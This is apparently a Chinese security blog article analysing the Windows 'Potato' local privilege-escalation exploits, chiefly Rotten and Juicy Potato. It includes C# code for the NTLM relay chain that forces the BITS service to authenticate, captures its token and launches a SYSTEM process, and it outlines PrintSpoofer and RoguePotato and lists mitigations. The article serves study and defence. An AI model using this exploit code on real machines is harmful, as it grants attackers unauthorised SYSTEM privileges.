STATEMENT
声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
NO.1 概述
早在2015年,Google project zero就发布了关于DCOM DCE/RPC本地NTLM Relay的研究,其中提到了使用COM对象及OLE Packager并举了个例子实现任意文件写入。
(https://bugs.chromium.org/p/project-zero/issues/detail?id=325&redir=1)
随后到2016年,foxglovesecurity发布了Rotten Potato(烂土豆),该漏洞才正式进入攻击者的视线并被广泛使用。
(https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/)
由于篇幅(能力)有限,本文主要以分析Rotten Potato/juicy Potato的原理及实现,其他的土豆则仅讲述他们的原理。
NO.2
Rotten Potato & Juicy Potato
前置知识
COM组件
COM是一种编程方法,COM组件由以Win32动态库(DLL)或者可执行文件(EXE)形式发布的可执行代码所组成。遵循COM规范编写出来的组件将能够满足对组件架构的所有要求。
COM对象与接口类似,每个对象也用一个128位GUID来标识,称为CLSID(class identifier,类标识符或类ID),用CLSID标识对象可以保证(概率意义上)在全球范围内的唯一性。只要系统中含有这类COM对象的信息,并包括COM对象所在的模块文件(DLL或EXE文件)以及COM对象在代码中的入口点,客户程序就可以由此CLSID来创建COM对象。客户成功创建对象后,它得到的是一个指向对象某个接口的指针,因为COM对象至少实现一个接口,所以客户就可以调用该接口提供的所有服务。
NTLM Relay
NTLM Relay通常作为中间人攻击,在进行NTLM认证时冒充客户端服务端双方,从而截取认证过程数据,最后达到对本地或远程主机认证的目的。
RPC
远程过程调用 (RPC) 服务用于支持 Windows 应用程序之间的通信。
具体来说,该服务实现了RPC 协议一种进程间通信的低级形式,客户端进程可以在其中向服务器进程发出请求。Microsoft 的基础 COM 和 DCOM 技术建立在 RPC 之上,进程为rpcss。
OXID Resolver
OXID Resolver是在支持COM +的每台计算机上运行的服务。它执行两项重要职责:
存储与远程对象连接所需的RPC字符串绑定,并将其提供给本地客户端。
将ping消息发送到本地计算机具有客户端的远程对象,并接收在本地计算机上运行的对象的ping消息。
漏洞原理
Rotten Potato & Juicy Potato原理都差不多,我们就从漏洞起源开始说起。
如概述所说,漏洞初始由Google安全团队发现了RPC到本地的NTLM Relay,也就是通过HTTP-->SMB中继。烂土豆作者研究更进一步,发现了具体的利用链。
漏洞原理简单的概括为:
1.欺骗高权限账户(SYSTEM)向我们控制的TCP端进行NTLM认证
2.使用一些Windows API进行中间人攻击协商安全令牌
3.冒充令牌
底层一点的说明:
JuicyPotato通过BITS的CLSID传递给CoGetInstanceFromIStorage函数以触发rpcss激活BITS服务,然后DCOM OXID resolver解析OBJREF拿到DUALSTRINGARRAY字段后指定IP:PORT进行绑定,并向绑定的地址发起DCE/RPC请求。当攻击者创建并监听指定的IP:PORT,攻击者可以要求服务进行身份认证,在此进行中间人攻击并最终模拟令牌。
具体学习攻击流程之前,首先需要了解一些所用到的API函数:
🔹 CoGetInstanceFromIStorage:创建一个新对象并通过对IPersistFile::Load的内部调用从存储对象初始化它,用于触发DCOM Call
🔹 AcquireCredentialsHandle:获取句柄已经存在的一个安全主体的凭证,用于获取句柄
🔹 AcceptSecurityContext:用来传输应用程序的服务器组件建立服务器和远程客户端之间的安全上下文,用于本地NTLM协商
🔹 QuerySecurityContextToken:获取客户端安全上下文的访问令牌并直接使用它
🔹 CreateProcessWithTokenW:以hToken创建新进程,用户需要SeImpersonatePrivilege特权
🔹 CreateProcessAsUserW:以hToken创建新进程,用户需要SeAssignPrimaryTokenPrivilege特权
攻击过程
借鉴一位大牛的图,我们在做中间人的时候其实是针对于RPC两端,一端是本地服务RPC,另一端是自己控制并创建监听的RPC。
1.首先使用CoGetInstanceFromIStorage强制高权限服务进行认证
在COM中,CoGetInstanceFromIStorage可以从调用指定位置获取对象的实例,上面说到,获取到对象之后,我们可以控制该接口进行操作。该漏洞通过CoGetInstanceFromIStorage可以强制某个COM(漏洞使用的是BITS)想要某个对象的实例(通过CLSID找到该对象),并在127.0.0.1:6666中加载。这样我们就可以与BITS服务进行通讯。
2.发起NTLM协商(Type 1)
我们可以与高权限服务(BITS)进行通讯之后,将接收到的包中继到本地控制的RPC 135中。这时我们尝试让COM(BITS)进行NTLM身份认证。对RPC进行身份认证时,使用135端口可以绕过防火墙的拦截(一般情况下防火墙不拦截135端口)。
3.先Relay 协商(Type 1)到本地的RPC 135端口,并使用AcceptSecurityContext强制进行本地验证
这里协商(Type 1)回RPC 135,然后使用AcceptSecurityContext API进行本地身份验证。
4.5.6.RPC 135修改过NTLM 质询(Type 2)之后返回RPC
根据烂土豆作者的说法,在RPC 135向COM(BITS)的NTLM质询(Type 2)数据包中,有个保留字段Reserved会不同,因此需要根据之前的包修改保持一致。
7.8.RPC发送NTLM Auth(Type 3)到AcceptSecurityContext响应
COM(BITS)回复身份认证响应包到AcceptSecurityContext
9.模拟令牌提权
使用QuerySecurityContextToken API获取客户端安全上下文的访问令牌并直接使用它
代码片段
触发COM服务
4991d34b-80a1-4291-83b6-3328366b9097对应的是BITS,00000000-0000-0000-C000-000000000046为IUnknown接口,所有COM接口都继承IUnKnown。BootstrapComMarshal()可以触发RPC回连。
public static IStorage CreateStorage()
{
IntPtr gh = IntPtr.Zero;
IntPtr lb;
IStorage ret;
CreateILockBytesOnHGlobal(gh, true, out lb);
StgCreateDocfileOnILockBytes(lb, STGM.CREATE | STGM.READWRITE | STGM.SHARE_EXCLUSIVE, 0, out ret);
return ret;
}
//
public static void BootstrapComMarshal()
{
IStorage stg = CreateStorage();
Guid clsid = new Guid("4991d34b-80a1-4291-83b6-3328366b9097");
TestClass c = new TestClass(stg);
MULTI_QI[] qis = new MULTI_QI[1];
qis[0].pIID = GuidToPointer("00000000-0000-0000-C000-000000000046");
qis[0].pItf = null;
qis[0].hr = 0;
CoGetInstanceFromIStorage(null, ref clsid, null, CLSCTX.CLSCTX_LOCAL_SERVER, c, 1, qis);
}
绑定COM服务回连地址
TestClass的MarshalInterface接口中,data数组写了回连地址为127.0.0.1:6666
public void MarshalInterface(IStream pstm, ref Guid riid, IntPtr pv, uint dwDestContext, IntPtr pvDestContext, uint MSHLFLAGS)
{
uint written;
byte[] data = { 0x4D, 0x45, 0x4F, 0x57, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x94, 0x09, 0x34, 0x76,
0xC0, 0xF0, 0x15, 0xD8, 0x19, 0x8F, 0x4A, 0xA2, 0xCE, 0x05, 0x60, 0x86, 0xA3, 0x2A, 0x0F, 0x09, 0x24, 0xE8, 0x70,
0x2A, 0x85, 0x65, 0x3B, 0x33, 0x97, 0xAA, 0x9C, 0xEC, 0x16, 0x00, 0x12, 0x00, 0x07, 0x00, 0x31, 0x00, 0x32, 0x00,
0x37, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, 0x31, 0x00, 0x5B, 0x00, 0x36, 0x00, 0x36,
0x00, 0x36, 0x00, 0x36, 0x00, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0A, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00 };
pstm.Write(data, (uint)data.Length, out written);
}
数据代理转发处理
COMListener方法首先监听中间代理,如127.0.0.1:6666,然后将数据包转发至RPC 135。ProcessNTLMBytes方法做了
void COMListener() {
try {
Socket listenSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
listenSocket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReuseAddress, 1);
//监听中间代理
listenSocket.Bind(new IPEndPoint(IPAddress.Loopback, port));
listenSocket.Listen(10);
readyEvent.Set();
while (!listenSocket.Poll(100000, SelectMode.SelectRead)) {
if (dcomComplete)
return;
}
Socket clientSocket = listenSocket.Accept();
Socket rpcSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
rpcSocket.Connect(new IPEndPoint(IPAddress.Loopback, 135));
byte[] buffer = new byte[4096];
int recvLen = 0;
int sendLen = 0;
while ((recvLen = clientSocket.Receive(buffer)) > 0) {
byte[] received = new byte[recvLen];
Array.Copy(buffer, received, received.Length);
ProcessNTLMBytes(received);
if (negotiator.Authenticated) {
break;
}
sendLen = rpcSocket.Send(received);
recvLen = rpcSocket.Receive(buffer);
if (recvLen == 0) {
break;
}
received = new byte[recvLen];
Array.Copy(buffer, received, received.Length);
ProcessNTLMBytes(received);
sendLen = clientSocket.Send(received);
if (listenSocket.Poll(100000, SelectMode.SelectRead)) {
clientSocket.Close();
clientSocket = listenSocket.Accept();
rpcSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
rpcSocket.Connect(new IPEndPoint(IPAddress.Loopback, 135));
}
}
try {
clientSocket.Close();
rpcSocket.Close();
listenSocket.Close();
} finally { }
} catch (Exception e) {
Console.WriteLine("[!] COM Listener thread failed: {0}", e.Message);
readyEvent.Set();
}
}
识别NTLM Type
ProcessNTLMBytes方法做了NTLM Type识别,对数据进行处理后再发送至RPC
int ProcessNTLMBytes(byte[] bytes) {
int ntlmLoc = FindNTLMBytes(bytes);
if (ntlmLoc == -1) return -1;
byte[] ntlm = new byte[bytes.Length - ntlmLoc];
Array.Copy(bytes, ntlmLoc, ntlm, 0, ntlm.Length);
int messageType = bytes[ntlmLoc + 8];
switch (messageType) {
case 1:
//NTLM type 1 message
return negotiator.HandleType1(ntlm);
case 2:
//NTLM type 2 message
int result = negotiator.HandleType2(ntlm);
Array.Copy(ntlm, 0, bytes, ntlmLoc, ntlm.Length);
return result;
case 3:
//NTLM type 3 message
return negotiator.HandleType3(ntlm);
default:
Console.WriteLine("Error - Unknown NTLM message type...");
return -1;
}
}
认证数据处理
HandleType1、HandleType2、HandleType3为NTLM各个阶段的数据处理
public int HandleType1(byte[] ntmlBytes) {
TimeStamp ts = new TimeStamp();
int status = AcquireCredentialsHandle(null, "Negotiate", SECPKG_CRED_INBOUND, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, hCred, ts);
if (status != SEC_E_OK) {
Console.WriteLine("Error in AquireCredentialsHandle");
return -1;
}
SecBufferDesc secClientBufferDesc = new SecBufferDesc(ntmlBytes);
secServerBufferDesc = new SecBufferDesc(256);
UInt32 fContextAttr;
return AcceptSecurityContext(hCred, null, ref secClientBufferDesc, ASC_REQ_CONNECTION,
SECURITY_NATIVE_DREP, phContext, out secServerBufferDesc, out fContextAttr, ts);
}
public int HandleType2(byte[] ntlmBytes) {
SecBuffer secBuffer = secServerBufferDesc.GetSecBuffer();
byte[] newNtlmBytes = secBuffer.GetBytes();
if (ntlmBytes.Length >= newNtlmBytes.Length) {
for (int idx = 0; idx < ntlmBytes.Length; ++idx) {
if (idx < newNtlmBytes.Length) {
ntlmBytes[idx] = newNtlmBytes[idx];
} else {
ntlmBytes[idx] = 0;
}
}
} else {
Console.WriteLine("NTLM Type2 cannot be replaced. New buffer too big");
}
return 0;
}
public int HandleType3(byte[] ntmlBytes) {
SecBufferDesc secClientBufferDesc = new SecBufferDesc(ntmlBytes);
secServerBufferDesc = new SecBufferDesc(0);
CtxHandle phContextNew = new CtxHandle();
UInt32 fContextAttr;
TimeStamp ts = new TimeStamp();
int status = AcceptSecurityContext(hCred, phContext, ref secClientBufferDesc, ASC_REQ_ALLOCATE_MEMORY | ASC_REQ_CONNECTION,
SECURITY_NATIVE_DREP, phContext, out secServerBufferDesc, out fContextAttr, ts);
if (status == 0) {
Authenticated = true;
IntPtr hToken;
if ((status = QuerySecurityContextToken(phContext, out hToken)) == 0) {
Token = hToken;
}
}
return status;
}
查找NTLMSSP header
NTLM 协商(Type 1)、NTLM质询(Type 2)、NTLM身份认证(Type 3)都存在特定字符NTLMSSP,通过该方法可提取出我们需要的数据。
int FindNTLMBytes(byte[] bytes) {
//Find the NTLM bytes in a packet and return the index to the start of the NTLMSSP header.
//The NTLM bytes (for our purposes) are always at the end of the packet, so when we find the header,
//we can just return the index
byte[] pattern = { 0x4E, 0x54, 0x4C, 0x4D, 0x53, 0x53, 0x50 };
int pIdx = 0;
int i;
for (i = 0; i < bytes.Length; i++) {
if (bytes[i] == pattern[pIdx]) {
pIdx = pIdx + 1;
if (pIdx == 7) return (i - 6);
} else {
pIdx = 0;
}
}
return -1;
}
模拟令牌处理
CreateProcessWithTokenW、CreateProcessAsUserW都是以hToken创建进程执行我们自己的操作,只不过判断当前用户具有的权限。
🔹 CreateProcessWithToken(需要SeImpersonate)
🔹 CreateProcessAsUser(需要SeAssignPrimaryToken)
if (executionMethod == ExecutionMethod.Token) {
if (!CreateProcessWithTokenW(potatoAPI.Token, 0, program, finalArgs, CreationFlags.NewConsole, IntPtr.Zero, null, ref si, out pi)) {
Console.WriteLine("[!] Failed to created impersonated process with token: {0}", Marshal.GetLastWin32Error());
return;
}
} else {
if (!CreateProcessAsUserW(impersonatedPrimary, program, finalArgs, IntPtr.Zero,
IntPtr.Zero, false, CREATE_NEW_CONSOLE, IntPtr.Zero, @"C:\", ref si, out pi)) {
Console.WriteLine("[!] Failed to created impersonated process with user: {0} ", Marshal.GetLastWin32Error());
return;
}
}
NO.3 其他Potato
Hot Potato
Hot Potato是烂土豆作者的第一个发布版本。该漏洞主要通过NBNS Spoofer进行中间人欺骗,冒充名称解析,强制系统下载恶意WAPD配置。通过部署恶意的WAPD配置进行强制身份认证。作者提供的攻击手法为使用低权限用户激活更新服务触发身份验证。
Microsoft 通过使用已经在进行中的质询来禁止相同协议的 NTLM 身份验证来修补此问题 (MS16-075),这意味着从一台主机到其自身的 SMB->SMB NTLM 中继将不再起作用。MS16-077 WPAD 名称解析将不使用 NetBIOS (CVE-2016-3213) 并且在请求 PAC 文件时不发送凭据 (CVE-2016-3236)。WAPD MITM Attack 已修补。
PrintSpoofer (PipePotato or BadPotato)
这也是一个经典的中继手法。通过Windows named pipe的一个API:ImpersonateNamedPipeClient来模拟高权限客户端的token(还有类似的ImpersonatedLoggedOnUser,RpcImpersonateClient函数),调用该函数后会更改当前线程的安全上下文。该漏洞主要利用了打印机组件的BUG,使SYSTEM权限服务能连接到攻击者创建的named pipe。
该漏洞同时还利用了一个API函数的解析问题。
spoolsv.exe服务有一个公开的API函数:
DWORD RpcRemoteFindFirstPrinterChangeNotificationEx(
/* [in] */ PRINTER_HANDLE hPrinter,
/* [in] */ DWORD fdwFlags,
/* [in] */ DWORD fdwOptions,
/* [unique][string][in] */ wchar_t *pszLocalMachine,
/* [in] */ DWORD dwPrinterLocal,
/* [unique][in] */ RPC_V2_NOTIFY_OPTIONS *pOptions)
pszLocalMachine参数需要传递UNC路径,传递\\127.0.0.1时,服务器会访问\\127.0.0.1\pipe\spoolss,但这个管道已经被系统注册了,如果创建了其他管道或新增某些字符,调用就会因为路径验证检查而失败。这就需要一个特殊技巧,在调用时如果主机名包含"/",那么验证就可以通过,因为在连接到命名管道路径时会自动将"/"转为"\",校验路径时会认为127.0.0.1/pipe/foo是主机名,于是就会连接\\127.0.0.1\pipe\foo\pipe\spoolss,攻击者就可以注册这个named pipe从而模拟client的token。
RoguePotato
微软推出烂土豆补丁后,高版本Windows DCOM解析器不再允许OBJREF中的DUALSTRINGARRAY字段指定端口号。这样便无法控制RPC对特定IP端口进行通讯。
RoguePotato使用其他远程主机的135端口做转发,通过远程主机将数据传到本地伪造的RPC服务上。
具体操作为:
🔹 Rogue Potato指定远程 IP(攻击者 IP)指示 DCOM 服务器执行远程 OXID 查询
🔹 在远程 IP 上,设置一个“socat”监听,用于将 OXID 解析请求重定向到一个假的OXID RPC 服务器
🔹 伪造的OXID RPC 服务器实现了ResolveOxid2服务器过程,该过程将指向受控命名管道[ ncacn_np:localhost/pipe/roguepotato[\pipe\epmapper] ]。
🔹 DCOM 服务器连接到 RPC 服务器以执行IRemUnkown2接口调用。连接到命名管道时将执行身份验证,我们可以通过 RpcImpersonateClient() 模拟调用者。
RemotePotato
RoguePotato改版。
EfsPotato
使用Efs接口(MS-EFSR EfsRpcOpenFileRaw)强制认证并进行模拟令牌。
SweetPotato
COM/WinRM/Spoolsv/Efs的集合版本。
NO.4 缓解措施
土豆提权漏洞都是利用各种接口强制本地认证达到中继提权的目的,因此可以从中继下手,阻断中继过程。如:
🔹 启用SMB签名
🔹 启用身份认证扩展程序
也可以通过漏洞本身进行拦截,如:
🔹 更改更高的UAC级别
🔹 删除SeImpersonatePrivilege与SeAssignPrimaryTokenPrivilege特权
NO.5 参考
https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/
https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/
https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html# rottenPotato
https://foxglovesecurity.com/2016/01/16/hot-potato/
https://decoder.cloud/2018/01/13/potato-and-tokens/
https://bugs.chromium.org/p/project-zero/issues/detail?id=325&redir=1
http://open.appscan.io/article-440.html
https://labs.sentinelone.com/relaying-potatoes-dce-rpc-ntlm-relay-eop/
https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/
https://micahvandeusen.com/the-power-of-seimpersonation/
http://www.zmax99.com/component/k2/item/152-what-is-com
http://iv4n.cc/potato-family-local-priv-elevate/
征稿通知
知识应该被分享,安全更需携手共进
征稿持续进行中!愿意分享知识经验的小伙伴们可以把自己的知识沉淀稿件投稿至邮箱:
[email protected]
稿件一经发布将有丰厚的稿费!
有任何疑问请添加微信:_WOXIANGJJ 咨询哦~
RECRUITMENT
招聘启事
安恒雷神众测SRC运营(实习生) 【任职要求】
————————
【职责描述】
1. 负责SRC的微博、微信公众号等线上新媒体的运营工作,保持用户活跃度,提高站点访问量;
2. 负责白帽子提交漏洞的漏洞审核、Rank评级、漏洞修复处理等相关沟通工作,促进审核人员与白帽子之间友好协作沟通;
3. 参与策划、组织和落实针对白帽子的线下活动,如沙龙、发布会、技术交流论坛等;
4. 积极参与雷神众测的品牌推广工作,协助技术人员输出优质的技术文章;
5. 积极参与公司媒体、行业内相关媒体及其他市场资源的工作沟通工作。
1. 责任心强,性格活泼,具备良好的人际交往能力;
2. 对网络安全感兴趣,对行业有基本了解;
3. 良好的文案写作能力和活动组织协调能力。
简历投递至
设计师(实习生)
————————
【职位描述】
负责设计公司日常宣传图片、软文等与设计相关工作,负责产品品牌设计。
【职位要求】
1、从事平面设计相关工作1年以上,熟悉印刷工艺;具有敏锐的观察力及审美能力,及优异的创意设计能力;有 VI 设计、广告设计、画册设计等专长;
2、有良好的美术功底,审美能力和创意,色彩感强;
3、精通photoshop/illustrator/coreldrew/等设计制作软件;
4、有品牌传播、产品设计或新媒体视觉工作经历;
【关于岗位的其他信息】
企业名称:杭州安恒信息技术股份有限公司
办公地点:杭州市滨江区安恒大厦19楼
学历要求:本科及以上
工作年限:1年及以上,条件优秀者可放宽
简历投递至
安全招聘
————————
公司:安恒信息
岗位:Web安全 安全研究员
部门:战略支援部
薪资:13-30K
工作年限:1年+
工作地点:杭州(总部)、广州、成都、上海、北京
工作环境:一座大厦,健身场所,医师,帅哥,美女,高级食堂…
【岗位职责】
1.定期面向部门、全公司技术分享;
2.前沿攻防技术研究、跟踪国内外安全领域的安全动态、漏洞披露并落地沉淀;
3.负责完成部门渗透测试、红蓝对抗业务;
4.负责自动化平台建设
5.负责针对常见WAF产品规则进行测试并落地bypass方案
【岗位要求】
1.至少1年安全领域工作经验;
2.熟悉HTTP协议相关技术
3.拥有大型产品、CMS、厂商漏洞挖掘案例;
4.熟练掌握php、java、asp.net代码审计基础(一种或多种)
5.精通Web Fuzz模糊测试漏洞挖掘技术
6.精通OWASP TOP 10安全漏洞原理并熟悉漏洞利用方法
7.有过独立分析漏洞的经验,熟悉各种Web调试技巧
8.熟悉常见编程语言中的至少一种(Asp.net、Python、php、java)
【加分项】
1.具备良好的英语文档阅读能力;
2.曾参加过技术沙龙担任嘉宾进行技术分享;
3.具有CISSP、CISA、CSSLP、ISO27001、ITIL、PMP、COBIT、Security+、CISP、OSCP等安全相关资质者;
4.具有大型SRC漏洞提交经验、获得年度表彰、大型CTF夺得名次者;
5.开发过安全相关的开源项目;
6.具备良好的人际沟通、协调能力、分析和解决问题的能力者优先;
7.个人技术博客;
8.在优质社区投稿过文章;
岗位:安全红队武器自动化工程师
薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)
【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。
【岗位要求】
1.熟练使用Python、java、c/c++等至少一门语言作为主要开发语言;
2.熟练使用Django、flask 等常用web开发框架、以及熟练使用mysql、mongoDB、redis等数据存储方案;
3:熟悉域安全以及内网横向渗透、常见web等漏洞原理;
4.对安全技术有浓厚的兴趣及热情,有主观研究和学习的动力;
5.具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。
【加分项】
1.有高并发tcp服务、分布式等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。
简历投递至
岗位:红队武器化Golang开发工程师
薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)
【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。
【岗位要求】
1.掌握C/C++/Java/Go/Python/JavaScript等至少一门语言作为主要开发语言;
2.熟练使用Gin、Beego、Echo等常用web开发框架、熟悉MySQL、Redis、MongoDB等主流数据库结构的设计,有独立部署调优经验;
3.了解docker,能进行简单的项目部署;
3.熟悉常见web漏洞原理,并能写出对应的利用工具;
4.熟悉TCP/IP协议的基本运作原理;
5.对安全技术与开发技术有浓厚的兴趣及热情,有主观研究和学习的动力,具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。
【加分项】
1.有高并发tcp服务、分布式、消息队列等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。
简历投递至
END
长按识别二维码关注我们